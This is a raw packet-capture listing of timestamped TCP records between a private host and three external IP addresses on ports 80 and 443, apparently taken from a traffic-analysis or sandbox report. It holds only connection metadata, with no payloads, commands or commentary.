Nov 26, 2024 08:03:45.510593891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.510883093 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.511003017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.511550903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.511615038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.511981964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.512095928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.512347937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.512433052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.512506962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.512569904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.513269901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.513319016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.513380051 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.513487101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.514341116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.514352083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.514396906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.515077114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.515173912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.515176058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.515218973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.516151905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.516163111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.516218901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.517776966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.517786980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.517843962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.517878056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.517961979 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.518186092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.518250942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.518714905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.518867016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.518893003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.518910885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.519560099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.519618034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.519975901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.520026922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.520507097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.520592928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.520658016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.520728111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.521522045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.521528959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.521558046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.521575928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.522531033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.522541046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.522597075 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.523379087 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.523395061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.523426056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.523443937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.524107933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.524117947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.524187088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.525851965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.525861979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.525871038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.525902987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.525969982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.526024103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.526869059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.526879072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.526917934 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.527975082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.527985096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.528029919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.529175997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.529186964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.529237032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.529500008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.529722929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.530188084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.530227900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.609417915 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.609477997 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.610212088 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.610212088 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.610235929 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.610323906 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.615609884 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.615675926 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.615725994 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.615725994 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.615736008 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.615828991 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.640409946 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.640460968 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.640620947 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.640620947 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.640630007 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.640680075 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.666718006 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.666769981 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.666811943 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.666821003 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.666850090 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.666877031 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.686604023 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.686624050 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.686708927 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.686708927 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.686716080 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.686794996 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.691570044 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.691620111 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.691679001 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.691696882 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.691708088 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.691740990 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.693234921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.693300009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.693356037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.693402052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.693623066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.693686008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.693833113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.693898916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.693934917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.693988085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.694710016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.694788933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.694829941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.694878101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.695593119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.695641041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.695720911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.695770979 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.696504116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.696549892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.696638107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.696681023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.697462082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.697549105 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.697561979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.697607040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.698364019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.698415995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.698458910 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.699227095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.699296951 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.699584961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.700068951 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.700120926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.700160027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.700233936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.700277090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.701040983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.701126099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.701145887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.701175928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.701934099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.701981068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.702064037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.702186108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.702810049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.702882051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.702922106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.703171968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.703727007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.703793049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.703847885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.703907967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.704713106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.704761982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.704833984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.704915047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.705565929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.705586910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.705632925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.706489086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.706510067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.706538916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.706557989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.707685947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.707696915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.707751036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.708237886 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.708308935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.708661079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.708719969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.755486965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:45.802294016 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.802371979 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.803127050 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.803127050 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.803144932 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.803226948 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.805120945 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.805181980 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.805248022 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.805248022 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.805258036 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.805522919 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.812894106 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.812984943 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.813000917 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.813060999 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.813117027 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.813345909 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.813354969 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.813374996 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.813397884 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.818737030 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.818789005 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.818809986 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.818816900 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.818892956 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.833415985 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.833465099 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.833503962 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.833550930 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.833556890 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.833611965 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.847378016 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.847424030 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.847714901 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.847714901 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.847723007 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.848180056 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.860387087 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.860433102 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.860466003 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.860481024 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.860608101 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.860608101 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.874423981 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.874448061 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.874526024 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.874531031 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.874618053 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.875562906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:45.886457920 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.886475086 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.886523008 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:45.886528969 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:45.886643887 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.000780106 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.000804901 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.000933886 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.000948906 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.001080990 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.011900902 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.011918068 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.011993885 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.012000084 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.012418985 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.021164894 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.021194935 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.021300077 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.021306992 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.021455050 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.031923056 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.031939030 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.032027006 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.032032013 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.032193899 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.040354013 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.040409088 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.040437937 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.040467024 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.040467024 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.040492058 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.040762901 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.040772915 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.122524977 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.122570038 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.122673988 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.123084068 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:46.123096943 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:46.185103893 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.185669899 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.185700893 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.186028004 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.186403036 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.186456919 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.186625957 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.186857939 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.186863899 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.212508917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.212528944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.212582111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.212645054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.212886095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.212951899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.212966919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.213013887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.213840008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.213932991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.214010954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.214678049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.214829922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.214901924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.215001106 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.215753078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.215761900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.215827942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.216445923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.216523886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.216562986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.216622114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.217405081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.217458010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.217497110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.217704058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.218328953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.218727112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.218904018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.218943119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.219363928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.219372034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.219424009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.220179081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.220247984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.220252037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.220295906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.221065044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.221115112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.221137047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.221160889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.221919060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.222016096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.222047091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.222096920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.222784996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.222875118 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.222913027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.222982883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.223690033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.223812103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.223836899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.223886013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.224627018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.224699020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.224714994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.224761963 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.225502014 CET	80	49747	185.215.113.206	192.168.2.8
